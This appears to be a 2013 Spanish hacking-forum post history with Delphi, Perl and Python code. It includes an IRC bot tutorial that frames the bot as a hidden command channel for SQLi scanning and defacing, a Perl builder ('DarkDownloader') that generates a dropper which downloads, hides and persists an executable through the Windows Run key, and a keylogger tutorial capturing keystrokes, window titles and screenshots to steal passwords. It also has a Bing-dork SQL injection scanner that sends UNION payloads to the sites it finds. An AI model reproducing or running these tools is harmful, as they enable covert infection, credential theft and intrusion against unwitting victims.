Se podria decir que con esto ya tenemos para conectarnos y desconectarmos del canal sin ningun problema. Pero para variar las cosas vamos a usar el memo1 como consola de las cosas que pasan durante la conexion , entonces vamos al diseño del formulario , buscamos el IdIRC1 , le hacemos un solo click y nos fijamos en object inspector para despues ir a la parte de eventos , buscamos el evento OnRaw , le hacemos doble click y agregamos este codigo : procedure TForm1.IdIRC1Raw(ASender: TIdContext; AIn: Boolean; const AMessage: string); begin Memo1.Lines.Add(AMessage); // Agregamos al memo1 lo que AMessage recibe end;
Una imagen de donde esta la parte del evento y de paso muestro como quedo el codigo : Eso seria la parte de como conectarnos y desconectarnos de un canal irc. 0x03 : Listando usuarios Esta es la parte en la que usamos PerlRegEx , que es un componente que nos permite usar las expresiones regualares de Perl en Delphi. Entonces buscamos el evento "NicknamesListReceived" en el componente IdIRC1 que esta en el formulario para hacer doble click en el evento y poner el siguiente codigo. procedure TForm1.IdIRC1NicknamesListReceived (ASender: TIdContext; const AChannel: string; ANicknameList: TStrings); var i: integer; // Declaramos i como entero i2: integer; // Declaramos i2 como entero renicks: string; // Declaramos renicks como string listanow: TStringList; // Declaramos listanow como StringList arraynow: array of String; // Declaramos arraynow como array of string begin ListBox1.Clear; // Limpiamos el contenido de ListBox1 for i := 0 to ANicknameList.Count - 1 do // Listamos con for los nicks que se encuentran // en ANicknameList begin PerlRegEx1.Regex := '(.*) = ' + Edit2.Text + ' :(.*)'; // Establecemos la expresion regular // a usar PerlRegEx1.Subject := ANicknameList[i]; // Buscamos el nick en ANicknameList if PerlRegEx1.Match then // Si perlregex encuentra algo ... begin renicks := PerlRegEx1.SubExpressions[2]; // Declaramos como renicks el segundo resultado de // la expresion regular renicks := StringReplace(renicks, Edit3.Text, '', []); // Borramos de renicks el nombre // de nuestro bot listanow := TStringList.Create; // Declaramos como TStringList a listanow listanow.Delimiter := ' '; // Establecemos que se busque los nicks entre espacios en blanco listanow.DelimitedText := renicks; // Realizamos la busqueda for i2 := 0 to listanow.Count - 1 do // Listamos la lista 'listanow' que contiene los nicks begin ListBox1.Items.Add(listanow[i2]); // Agregamos a ListBox1 los nicks encontrados end; end; end; end;
Les dejo una imagen de como nos deberia quedar el codigo y de donde esta el evento que usamos. 0x04 : Mandar mensajes Mandar mensajes usando el componente de indy es muy facil , solo tenemos que hacer doble click en el tercer boton , en mi caso le puse de texto "spam now" , ustedes pueden ponerle el que quieran , cuando este en el codigo del formulario en la parte del tercer boton pongan el siguiente codigo. procedure TForm1.Button3Click(Sender: TObject); var i: integer; // Declaramos i como entero begin IdIRC1.Say(Edit2.Text, 'hola publico'); // Mandamos un mensaje publico al canal en el que // estamos for i := 0 to ListBox1.Count - 1 do // Abrimos los items de listbox usando un for begin IdIRC1.Say(ListBox1.Items[i], 'hola privado'); // Mandamos un privado al nick de la lista end; end;
Una imagen de como les deberia quedar el codigo : 0x05 : Recibir privados Otra cosa facil de hacer gracias a el componente de indy es que se pueden recibir y leer los mensajes privados que nos mandan , para hacer esto vamos al evento OnPrivateMessage de IdIRC y ponemos el siguiente codigo. procedure TForm1.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom, AHost, ANicknameTo, AMessage: string); begin Memo3.Lines.Add(ANicknameFrom + ' : ' + AMessage); // Mostramos en el memo3 el nickname // de quien nos esta mandando el mensaje y ':' que separa el nick del mensaje que nos // enviaron end;
Una imagen de donde esta el evento y como quedo el codigo. 0x06 : Reconocer comandos Esta es la parte mas importante en un irc bot , que es para poder mandar comandos al bot o hacer cierta cosa como un SQLiScanner o AdminFinder u otra cosa para dichoso Defacing. Para hacer esto nos vamos a basar en mensajes privados , de esa forma no estamos delatando al bot en el canal publico , entonces volvemos al evento OnPrivateMessage del punto anterior para actualizarlo con este codigo nuevo : procedure TForm1.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom, AHost, ANicknameTo, AMessage: string); begin Memo3.Lines.Add(ANicknameFrom + ' : ' + AMessage); // Mostramos en el memo3 el nickname // de quien nos esta mandando el mensaje y tambien ':' que separa el nick del mensaje que nos // enviaron PerlRegEx1.Regex := '!help'; // Usamos esta linea para comprobar si AMessage contiene !help PerlRegEx1.Subject := AMessage; // Buscamos en AMessage if PerlRegEx1.Match then // Si se encontro .... begin IdIRC1.Say(ANicknameFrom, 'el comando disponible es : !scanear <cmd1> <cmd2>'); // Respondemos // con el unico comando disponible end; PerlRegEx1.Regex := '!scanear (.*) (.*)'; // Capturamos lo que se encuentre a la derecha de // !scanear y hacemos un espacio para capturar lo que // esta al lado de lo que encontramos // en realidad son dos comandos PerlRegEx1.Subject := AMessage; // Buscamos los dos comandos en AMessage que // contiene el mensaje que nos estan enviando if PerlRegEx1.Match then // Si se encontro algo ... begin IdIRC1.Say(ANicknameFrom, 'comando 1 : ' + PerlRegEx1.SubExpressions[1]); // Le respondemos // al que nos envio el mensaje privado con el valor del primer comando que nos envio IdIRC1.Say(ANicknameFrom, 'comando 2 : ' + PerlRegEx1.SubExpressions[2]); // Le respondemos // al que nos envio el mensaje privado con el valor del segundo comando que nos envio end; end;
Una imagen de donde esta el evento y de como quedo el codigo. 0x07 : Testeando Una vez hecho todo esto podemos probar como quedo todo , les dejo unas imagenes que de como funciona. Eso seria todo 0x08 : Bibliografia http://es.wikipedia.org/wiki/Internet_Relay_Chathttp://delphiallimite.blogspot.com.ar/2007/09/creando-un-cliente-de-chat-irc-con-indy_18.htmlhttp://delphiallimite.blogspot.com.ar/2007/09/creando-un-cliente-de-chat-irc-con-indy.html--========-- The End ? --========-- Version PDF
|
|
|
156
|
Programación / Scripting / [Perl Tk] DarkDownloader 0.1
|
en: 20 Septiembre 2013, 20:56 pm
|
Un simple script en perl para descargar archivos con las siguientes opciones : - Bajar el archivo y cambiar el nombre
- Mover a otro directorio el archivo descargado
- Ocultar archivo
- Cargar cada vez que inicie Windows
- Autoborrarse despues de terminar todo
Una imagen : El codigo : #!usr/bin/perl #DarkDownloader 0.1 #Coded By Doddy H #Command : perl2exe -gui gen_download.pl use Tk; my $color_fondo = "black"; my $color_texto = "green"; if ( $^O eq 'MSWin32' ) { use Win32::Console; Win32::Console::Free(); } my $ven = MainWindow->new( -background => $color_fondo, -foreground => $color_texto ); $ven->geometry("340x320+20+20"); $ven->resizable( 0, 0 ); $ven->title("DarkDownloader 0.1"); $ven->Label( -text => "Link : ", -font => "Impact", -background => $color_fondo, -foreground => $color_texto )->place( -x => 20, -y => 20 ); my $link = $ven->Entry( -text => "http://localhost/test.exe", -width => 40, -background => $color_fondo, -foreground => $color_texto )->place( -x => 60, -y => 25 ); $ven->Label( -text => "-- == Options == --", -background => $color_fondo, -foreground => $color_texto, -font => "Impact" )->place( -x => 90, -y => 60 ); $ven->Checkbutton( -activebackground => $color_texto, -background => $color_fondo, -foreground => $color_texto, -text => "Save File with this name : ", -variable => \$op_save_file_name )->place( -x => 20, -y => 100 ); my $save_file_with_name = $ven->Entry( -width => 20, -text => "testar.exe", -background => $color_fondo, -foreground => $color_texto )->place( -x => 170, -y => 100 ); $ven->Checkbutton( -activebackground => $color_texto, -background => $color_fondo, -foreground => $color_texto, -text => "Save File in this directory : ", -variable => \$op_save_in_dir )->place( -x => 20, -y => 130 ); my $save_file_in_this_dir = $ven->Entry( -background => $color_fondo, -foreground => $color_texto, -width => 20, -text => "C:/WINDOWS/sexnow/" )->place( -x => 170, -y => 130 ); $ven->Checkbutton( -activebackground => $color_texto, -background => $color_fondo, -foreground => $color_texto, -text => "Hide File", -variable => \$op_hide )->place( -x => 20, -y => 160 ); $ven->Checkbutton( -activebackground => $color_texto, -background => $color_fondo, -foreground => $color_texto, -text => "Load each time you start Windows", -variable => \$op_regedit )->place( -x => 20, -y => 190 ); $ven->Checkbutton( -activebackground => $color_texto, -background => $color_fondo, -foreground => $color_texto, -text => "AutoDelete", -variable => \$op_chau )->place( -x => 20, -y => 220 ); $ven->Button( -command => \&genow, -activebackground => $color_texto, -background => $color_fondo, -foreground => $color_texto, -text => "Generate !", -font => "Impact", -width => 30 )->place( -x => 40, -y => 260 ); MainLoop; sub genow { my $code_now = q(#!usr/bin/perl #DarkDownloader 0.1 #Coded By Doddy H use LWP::UserAgent; use File::Basename; use Win32::File; use Win32::TieRegistry( Delimiter => "/" ); use Cwd; my $nave = LWP::UserAgent->new; $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); $nave->timeout(5); # Config my $link = "ACA_VA_TU_LINK"; my $op_bajar_con_este_nombre = ACA_VA_TU_OP_NOMBRE; my $op_bajar_con_este_nombrex = "ACA_VA_TU_OP_NOMBREX"; my $op_en_este_dir = ACA_VA_TU_OP_DIR; my $op_en_este_dirx = "ACA_VA_TU_OP_DIRX"; my $op_ocultar_archivos = ACA_VA_TU_OP_HIDE; my $op_agregar_al_registro = ACA_VA_TU_OP_REG; my $op_chau = ACA_VA_TU_CHAU; # # Download File if ( $op_bajar_con_este_nombre eq 1 ) { download( $link, $op_bajar_con_este_nombrex ); } else { download( $link, basename($link) ); } # Change Directory if ( $op_en_este_dir eq 1 ) { unless ( -d $op_en_este_dirx ) { mkdir( $op_en_este_dirx, 777 ); } if ( $op_bajar_con_este_nombre eq 1 ) { move( $op_bajar_con_este_nombrex, $op_en_este_dirx . "/" . $op_bajar_con_este_nombrex ); } else { move( basename($link), $op_en_este_dirx ); } } # HIDE FILES if ( $op_ocultar_archivos eq 1 ) { hideit( basename($link), "hide" ); hideit( $op_en_este_dirx, "hide" ); hideit( $op_en_este_dirx . "/" . $op_bajar_con_este_nombrex, "hide" ); } # REG ADD if ( $op_agregar_al_registro eq 1 ) { if ( $op_bajar_con_este_nombre eq 1 ) { if ( $op_en_este_dir eq 1 ) { $Registry->{ "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34" } = $op_en_este_dirx . "/" . $op_bajar_con_este_nombrex; } else { $Registry->{ "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34" } = getcwd() . "/" . $op_bajar_con_este_nombrex; } } else { if ( $op_en_este_dir eq 1 ) { $Registry->{ "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34" } = $op_en_este_dirx . "/" . basename($link); } else { $Registry->{ "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34" } = getcwd() . "/" . basename($link); } } } ## Boom ! if ( $op_chau eq 1 ) { } ## sub hideit { if ( $_[1] eq "show" ) { Win32::File::SetAttributes( $_[0], NORMAL ); } elsif ( $_[1] eq "hide" ) { winkey Win32::File::SetAttributes( $_[0], HIDDEN ); } } sub download { if ( $nave->mirror( $_[0], $_[1] ) ) { if ( -f $_[1] ) { } } } # The End ?); my $link = $link->get; my $new_file = $save_file_with_name->get; my $new_dir = $save_file_in_this_dir->get; $code_now =~ s/ACA_VA_TU_LINK/$link/; if ( $op_save_file_name eq 1 ) { $code_now =~ s/ACA_VA_TU_OP_NOMBRE/1/; } else { $code_now =~ s/ACA_VA_TU_OP_NOMBRE/0/; } $code_now =~ s/ACA_VA_TU_OP_NOMBREX/$new_file/; if ( $op_save_in_dir eq 1 ) { $code_now =~ s/ACA_VA_TU_OP_DIR/1/; } else { $code_now =~ s/ACA_VA_TU_OP_DIR/0/; } $code_now =~ s/ACA_VA_TU_OP_DIRX/$new_dir/; if ( $op_hide eq 1 ) { $code_now =~ s/ACA_VA_TU_OP_HIDE/1/; } else { $code_now =~ s/ACA_VA_TU_OP_HIDE/0/; } if ( $op_regedit eq 1 ) { $code_now =~ s/ACA_VA_TU_OP_REG/1/; } else { $code_now =~ s/ACA_VA_TU_OP_REG/0/; } if ( $op_chau eq 1 ) { $code_now =~ s/ACA_VA_TU_CHAU/1/; } else { $code_now =~ s/ACA_VA_TU_CHAU/0/; } if ( -f gen_download . pl ) { } open( FILE , ">>gen_download.pl" ); $ven->Dialog( -title => "Oh Yeah", -buttons => ["OK"], -text => "Enjoy this downloader", -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->Show(); } #The End ?
|
|
|
157
|
Programación / Scripting / [Perl Tk] HTTP FingerPrinting 0.1
|
en: 14 Septiembre 2013, 00:36 am
|
Un simple script en Perl para HTTP FingerPrinting o por lo menos lo intenta xDD. El codigo : #!usr/bin/perl #HTTP FingerPrinting 0.1 #Coded By Doddy H use LWP::UserAgent; my $nave = LWP::UserAgent->new; $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); print "\n-- == HTTP FingerPrinting 0.1 == --\n"; unless ( $ARGV[0] ) { print "\n[+] Sintax : $0 <page> < -fast / -full >\n"; } else { print "\n[+] Getting Data ...\n"; my $code = $nave->get( $ARGV[0] ); print "\n----------------------------------------------\n"; if ( $ARGV[1] eq "-full" ) { print $code->headers()->as_string(); } else { print "\n[+] Date : " . $code->header('date'); print "\n[+] Server : " . $code->header('server'); print "\n[+] Connection : " . $code->header('connection'); print "\n[+] Content-Type : " . $code->header('content-type'); } print "\n----------------------------------------------\n"; } print "\n[+] Coded By Doddy H\n"; #The End ?
Tambien hice una version grafica : Una imagen : El codigo : #!usr/bin/perl #HTTP FingerPrinting 0.1 #Version Tk #Coded By Doddy H use Tk; use LWP::UserAgent; if ( $^O eq 'MSWin32' ) { use Win32::Console; Win32::Console::Free(); } my $nave = LWP::UserAgent->new; $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); my $background_color = "black"; my $foreground_color = "green"; my $ven = MainWindow->new( -background => $background_color, -foreground => $foreground_color ); $ven->title("HTTP FingerPrinting 0.1 (C) Doddy Hackman 2013"); $ven->geometry("430x340+20+20"); $ven->resizable( 0, 0 ); $ven->Label( -background => $background_color, -foreground => $foreground_color, -text => "Target : ", -font => "Impact" )->place( -x => 20, -y => 20 ); my $target = $ven->Entry( -background => $background_color, -foreground => $foreground_color, -width => 30, -text => "http://www.petardas.com" )->place( -x => 80, -y => 25 ); $ven->Button( -command => \&fast, -activebackground => $foreground_color, -background => $background_color, -foreground => $foreground_color, -text => "Fast", -width => 10 )->place( -x => 270, -y => 25 ); $ven->Button( -command => \&full, -activebackground => $foreground_color, -background => $background_color, -foreground => $foreground_color, -text => "Full", -width => 10 )->place( -x => 345, -y => 25 ); $ven->Label( -background => $background_color, -foreground => $foreground_color, -text => "OutPut", -font => "Impact" )->place( -x => 175, -y => 70 ); my $output = $ven->Text( -background => $background_color, -foreground => $foreground_color, -width => 55, -heigh => 15 )->place( -x => 18, -y => 100 ); MainLoop; sub fast { $output->delete( "0.1", "end" ); my $code = $nave->get( $target->get ); $output->insert( "end", "[+] Date : " . $code->header('date') ); $output->insert( "end", "\n[+] Server : " . $code->header('server') ); $output->insert( "end", "\n[+] Connection : " . $code->header('connection') ); $output->insert( "end", "\n[+] Content-Type : " . $code->header('content-type') ); } sub full { $output->delete( "0.1", "end" ); my $code = $nave->get( $target->get ); $output->insert( "end", $code->headers()->as_string() ); } #The End ?
|
|
|
158
|
Seguridad Informática / Análisis y Diseño de Malware / [Delphi] Creacion de un Keylogger
|
en: 9 Septiembre 2013, 18:21 pm
|
[Titulo] : Creacion de un Keylogger [Lenguaje] : Delphi [Autor] : Doddy Hackman [Temario] -- =================-------- 0x01 : Introduccion 0x02 : Capturar teclas 0x03 : Capturar ventanas 0x04 : Capturar pantalla 0x05 : Testeando -- =================-------- 0x01 : Introduccion Bueno , voy a empezar esta manual sobre como hacer un keylogger en delphi , yo estoy usando la version 2010 de delphi. Un keylogger es un programa que graba de forma oculta las teclas que escribe el usuario , en otras palabras , se usa para capturar contraseñas. En esta manual veremos como capturar teclas , ventanas y hacer capturas de pantalla en delphi. 0x02 : Capturar teclas Para comenzar creemos un proyecto normal en delphi de la siguiente manera : File->New->VCL Forms Application , como en la siguiente imagen. Una vez hecho agregamos un memo y tres timers al formulario como en la imagen : Una vez hecho esto hacemos doble click en el primer timer y agregamos este codigo al mismo. procedure TForm1.Timer1Timer(Sender: TObject); var i: integer; // Declaramos la variable i como entero re: Longint; // Declaramos la variable re como longint mayus: integer; // Declaramos la variable mayus como entero begin if (GetKeyState(20) = 0) then // Si se presiona mayus begin mayus := 32; // Le ponemos el valor de 32 a la variable mayus end else begin mayus := 0; // Le ponemos el valor de 0 la variable mayus end; for i := 65 to 90 do // Un for para detectar las teclas de la A hasta la Z begin re := GetAsyncKeyState(i); // Usamos la variable re para detectar si la tecla fue usada If re = -32767 then // Contolamos que la variable re sea igual a -32767 Begin Memo1.Text := Memo1.Text + Chr(i + mayus); // Escribimos en el memo usando chr en la suma de la letra // Mas la variabe mayus End; end; end;
Una imagen con todo el codigo comentado : Con esto ya tenemos para capturar las teclas. 0x03 : Capturar ventanas Aca es donde se me complico un poco , para empezar tenemos que agregar en "private" que se encuentra al inicio del codigo lo siguiente : private Nombre2: string;
Con este declaramos el nombre de la ventana que es nombre2 como privado. Ahora tenemos que hacer doble click al segundo timer y poner el siguiente codigo : procedure TForm1.Timer2Timer(Sender: TObject); var ventana1: array [0 .. 255] of char; // Declaramos ventana1 como array of char nombre1: string; // Declaramos nombre1 como string // Add : // private // Nombre2: string; begin GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1)); // Capturamos el nombre de la // ventana nombre1 := ventana1; // nombre1 tendra el valor de ventana1 if not(nombre1 = nombre2) then // Si nombre1 no es nombre2 ........ begin nombre2 := nombre1; // nombre2 tendra el valor de nombre1 Memo1.Lines.Add(nombre2); // agregamos al memo el valor de nombre2 end; end;
Una imagen con el codigo comentado : Eso seria la parte de capturar ventanas. 0x04 : Capturar pantalla Ahora vamos a la parte mas facil , voy a usar como ejemplo un codigo que hice para un programa llamado "DH ScreenShoter" que hice en este mismo lenguaje. Lo primero que hay que hacer es agregar Jpeg en "uses" al inicio del codigo. Ahora hacemos doble click en el tercer timer y agregamos este codigo : procedure TForm1.Timer3Timer(Sender: TObject); var foto1: TBitmap; // Declaramos foto1 como TBitmap; foto2: TJpegImage; // Declaramos foto2 como TJpegImage ventana: HDC; // Declaramos aca como HDC begin // Agregar "Jpeg" a "uses" ventana := GetWindowDC(GetDesktopWindow); // Capturamos ventana actual en aca foto1 := TBitmap.Create; // Iniciamos foto1 como TBitmap foto1.PixelFormat := pf24bit; // Establecemos el pixel format foto1.Height := Screen.Height; // Capturamos el tamaño foto1.Width := Screen.Width; // Capturamos el tamaño BitBlt(foto1.Canvas.Handle, 0, 0, foto1.Width, foto1.Height, ventana, 0, 0, SRCCOPY); // Tomamos la foto con los datos antes usados foto2 := TJpegImage.Create; // Iniciamos foto2 como TJpegImage foto2.Assign(foto1); // Asignamos foto1 en foto2 foto2.CompressionQuality := 60; // Establecemos la calidad de la imagen foto2.SaveToFile(IntToStr(Random(100)) + '.jpg'); // Guardamos la foto tomada // con un valor numerico // aleatorio mas el formato // '.jpg' end;
Una imagen con el codigo comentado : Despues de esto tenemos que configurar el "interval" del timer3 a "5000" , que en realidad es para que el timer funcione cada 5 segundos. Con esto ya terminamos la parte de capturar las imagenes. Ahora vamos a probar todo. 0x05 : Testeando Una vez terminado todo establecemos los tres timers en true en la parte "Enabled" de la configuracion de los timers. Bien ahora voy a mostrarles una imagen de ejemplo : Como pueden ver en la imagen , el keylogger detecto la ventana actual que es "Form1" (el programa mismo) y tambien detecta bien las minusculas y mayusculas cuando escribi "HolaMundo" Tambien cada 5 segundos sacaba una foto como esta : Eso seria todo. El manual esta disponible en PDF aca. --========-- The End ? --========--
|
|
|
159
|
Programación / Programación General / [Delphi] DH ScreenShoter 0.1
|
en: 6 Septiembre 2013, 18:58 pm
|
Un simple programa para sacar un screenshot y subir la imagen a imageshack. Una imagen : El codigo : // DH Screenshoter 0.1 // Coded By Doddy H // Credits // Based on : http://forum.codecall.net/topic/60613-how-to-capture-screen-with-delphi-code/ unit dh; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, sSkinManager, StdCtrls, sGroupBox, ComCtrls, sStatusBar, sLabel, sCheckBox, sEdit, sButton, acPNG, ExtCtrls, Jpeg, ShellApi, IdMultipartFormData, PerlRegEx, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; sGroupBox1: TsGroupBox; sStatusBar1: TsStatusBar; sCheckBox1: TsCheckBox; sEdit1: TsEdit; sCheckBox2: TsCheckBox; sEdit2: TsEdit; sLabel1: TsLabel; sCheckBox3: TsCheckBox; sGroupBox2: TsGroupBox; sEdit3: TsEdit; sGroupBox3: TsGroupBox; sButton1: TsButton; sButton2: TsButton; sButton3: TsButton; sButton4: TsButton; sCheckBox4: TsCheckBox; Image1: TImage; IdHTTP1: TIdHTTP; PerlRegEx1: TPerlRegEx; procedure sButton3Click(Sender: TObject); procedure sButton4Click(Sender: TObject); procedure sButton2Click(Sender: TObject); procedure sButton1Click(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure capturar(nombre: string); var imagen2: TJpegImage; imagen1: TBitmap; aca: HDC; begin aca := GetWindowDC(GetDesktopWindow); imagen1 := TBitmap.Create; imagen1.PixelFormat := pf24bit; imagen1.Height := Screen.Height; imagen1.Width := Screen.Width; BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0, 0, SRCCOPY); imagen2 := TJpegImage.Create; imagen2.Assign(imagen1); imagen2.CompressionQuality := 60; imagen2.SaveToFile(nombre); end; procedure TForm1.FormCreate(Sender: TObject); var dir: string; begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'cold'; sSkinManager1.Active := True; dir := ExtractFilePath(Application.ExeName) + '/captures'; if not(DirectoryExists(dir)) then begin CreateDir(dir); end; ChDir(dir); end; procedure TForm1.sButton1Click(Sender: TObject); var fecha: TDateTime; fechafinal: string; nombrefecha: string; i: integer; datos: TIdMultiPartFormDataStream; code: string; begin fecha := now(); fechafinal := DateTimeToStr(fecha); nombrefecha := fechafinal + '.jpg'; nombrefecha := StringReplace(nombrefecha, '/', ':', [rfReplaceAll, rfIgnoreCase]); nombrefecha := StringReplace (nombrefecha, ' ', '', [rfReplaceAll, rfIgnoreCase]); nombrefecha := StringReplace(nombrefecha, ':', '_', [rfReplaceAll, rfIgnoreCase]); if (sCheckBox2.Checked) then begin for i := 1 to StrToInt(sEdit2.text) do begin sStatusBar1.Panels[0].text := '[+] Taking picture on : ' + IntToStr(i) + ' seconds '; Form1.sStatusBar1.Update; Sleep(i * 1000); end; end; Form1.Hide; Sleep(1000); if (sCheckBox1.Checked) then begin capturar(sEdit1.text); end else begin capturar(nombrefecha); end; Form1.Show; sStatusBar1.Panels[0].text := '[+] Photo taken'; Form1.sStatusBar1.Update; if (sCheckBox3.Checked) then begin sStatusBar1.Panels[0].text := '[+] Uploading ...'; Form1.sStatusBar1.Update; datos := TIdMultiPartFormDataStream.Create; datos.AddFormField('key', 'Fuck You'); if (sCheckBox1.Checked) then begin datos.AddFile('fileupload', sEdit1.text, 'application/octet-stream'); end else begin datos.AddFile('fileupload', nombrefecha, 'application/octet-stream'); end; datos.AddFormField('format', 'json'); code := IdHTTP1.Post('http://post.imageshack.us/upload_api.php', datos); PerlRegEx1.Regex := '"image_link":"(.*?)"'; PerlRegEx1.Subject := code; if PerlRegEx1.Match then begin sEdit3.text := PerlRegEx1.SubExpressions[1]; sStatusBar1.Panels[0].text := '[+] Done'; Form1.sStatusBar1.Update; end else begin sStatusBar1.Panels[0].text := '[-] Error uploading'; Form1.sStatusBar1.Update; end; end; if (sCheckBox4.Checked) then begin if (sCheckBox1.Checked) then begin ShellExecute(Handle, 'open', Pchar(sEdit1.text), nil, nil, SW_SHOWNORMAL); end else begin ShellExecute(Handle, 'open', Pchar(nombrefecha), nil, nil, SW_SHOWNORMAL); end; end; end; procedure TForm1.sButton2Click(Sender: TObject); begin sEdit3.SelectAll; sEdit3.CopyToClipboard; end; procedure TForm1.sButton3Click(Sender: TObject); begin ShowMessage('Contact to lepuke[at]hotmail[com]'); end; procedure TForm1.sButton4Click(Sender: TObject); begin Form1.Close(); end; end. // The End ?
Si quieren bajar el programa lo pueden hacer de aca.
|
|
|
160
|
Programación / Scripting / [Python-Android] BingHack Tool 0.1
|
en: 1 Septiembre 2013, 21:19 pm
|
Un simple script en Python para Android con el fin de buscar paginas vulnerables a SQLI usando Bing. El codigo : #!usr/bin/python #BingHack Tool 0.1 #Android Version #(C) Doddy Hackman 2013 import android,urllib2,re nave = urllib2.build_opener() nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')] def toma(web) : nave = urllib2.Request(web) nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5'); op = urllib2.build_opener() return op.open(nave).read() def sql(webs): respuesta = "" for web in webs : if re.findall("=",web): web = re.split("=",web) web = web[0]+"=" try: code = toma(web+"-1+union+select+1--") if (re.findall("The used SELECT statements have a different number of columns",code,re.I)): respuesta = respuesta + "[SQLI] : "+web+"\n" except: pass return respuesta def limpiar(pag): limpia = [] for p in pag: if p not in limpia: limpia.append(p) return limpia def buscar(dork,count): respuesta = "" pag = [] s = 10 while s <= int(count): try: code = toma("http://www.bing.com/search?q="+str(dork)+"&first="+str(s)) d = re.findall("<h3><a href=\"(.*?)\"",code,re.I) s += 10 for a in d: pag.append(a) except: pass pag = limpiar(pag) return pag aplicacion = android.Android() def menu(): aplicacion.dialogCreateAlert("BingHack Tool 0.1") aplicacion.dialogSetItems(["Search","About","Exit"]) aplicacion.dialogShow() re = aplicacion.dialogGetResponse().result re2 = re["item"] if re2==0: red = aplicacion.dialogGetInput("BingHack Tool 0.1","Write the dork") dork = str(red[1]) red = aplicacion.dialogGetInput("BingHack Tool 0.1","Write the number of pages to search") paginas = str(red[1]) aplicacion.dialogCreateSpinnerProgress("BingHack Tool 0.1","Searching ...") aplicacion.dialogShow() founds = "" rez = "" rtafinal = "" founds = buscar(dork,paginas) aplicacion.dialogDismiss() aplicacion.dialogCreateSpinnerProgress("BingHack Tool 0.1","Scanning ...") aplicacion.dialogShow() rez = sql(founds) if len(rez) == 0 : rtafinal = "[-] Not Found" else : rtafinal = "[++] Pages Founds\n\n" rtafinal = rtafinal + rez rtafinal = rtafinal + "\n[++] Finished\n" aplicacion.dialogDismiss() aplicacion.dialogCreateAlert("BingHack Tool 0.1",rtafinal) aplicacion.dialogSetPositiveButtonText("Done") aplicacion.dialogShow() op = aplicacion.dialogGetResponse().result if op["which"] == "positive" : menu() if re2==1 : aplicacion.dialogCreateAlert("BingHack Tool 0.1","(C) Doddy Hackman 2013") aplicacion.dialogSetPositiveButtonText("Done") aplicacion.dialogShow() re3 = aplicacion.dialogGetResponse().result if re3["which"] == "positive" : menu() if re3==2: aplicacion.exit() menu() # The End ?
Eso es todo.
|
|
|
|
|
|
|